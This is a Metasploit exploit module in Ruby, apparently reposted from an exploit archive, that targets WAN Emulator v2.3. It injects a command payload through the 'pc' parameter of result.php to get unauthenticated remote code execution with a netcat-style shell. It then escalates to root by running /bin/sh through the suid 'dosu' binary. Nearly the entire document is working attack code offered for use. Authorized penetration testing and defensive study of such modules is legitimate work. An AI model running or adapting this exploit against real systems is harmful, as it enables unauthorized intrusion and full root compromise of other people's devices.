WAN Emulator v2.3 Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WAN Emulator v2.3 Command Execution',
            'Description'    => %q{
                This module exploits a command execution vulnerability in WAN Emulator
                version 2.3 which can be abused to allow unauthenticated users to execute
                arbitrary commands under the context of the 'www-data' user.
                The 'result.php' script calls shell_exec() with user controlled data
                from the 'pc' parameter. This module also exploits a command execution
                vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
                and vulnerable to command execution in argument one.
            },
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $',
            'Privileged'     => true,
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
                ],
            'References'     =>
                [
                    ['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
                    #['OSVDB', ''],
                    #['EDB',   ''],
                ],
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'BadChars'    => "\x00",
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic netcat-e',
                        }
                },
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'none'
                },
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 12 2012'
        ))
    end
 
    def on_new_session(client)
        client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
    end
 
    def check
 
        res   = send_request_cgi({
            'method' => 'GET',
            'uri'    => '/WANem/result.php'
        })
        if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
 
    end
 
    def exploit
 
        @peer = "#{rhost}:#{rport}"
        data  = "pc=127.0.0.1; "
        data << URI.encode(payload.raw)
        data << "%26"
        print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
        begin
            res = send_request_cgi({
                'uri'    => '/WANem/result.php',
                'method' => 'POST',
                'data'   => data
            }, 25)
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("#{@peer} - Connection failed")
        end
        if res and res.code == 200
            print_good("#{@peer} - Payload sent successfully")
        else
            print_error("#{@peer} - Sending payload failed")
        end
    end
 
end



#  0day.today [2018-03-09]  #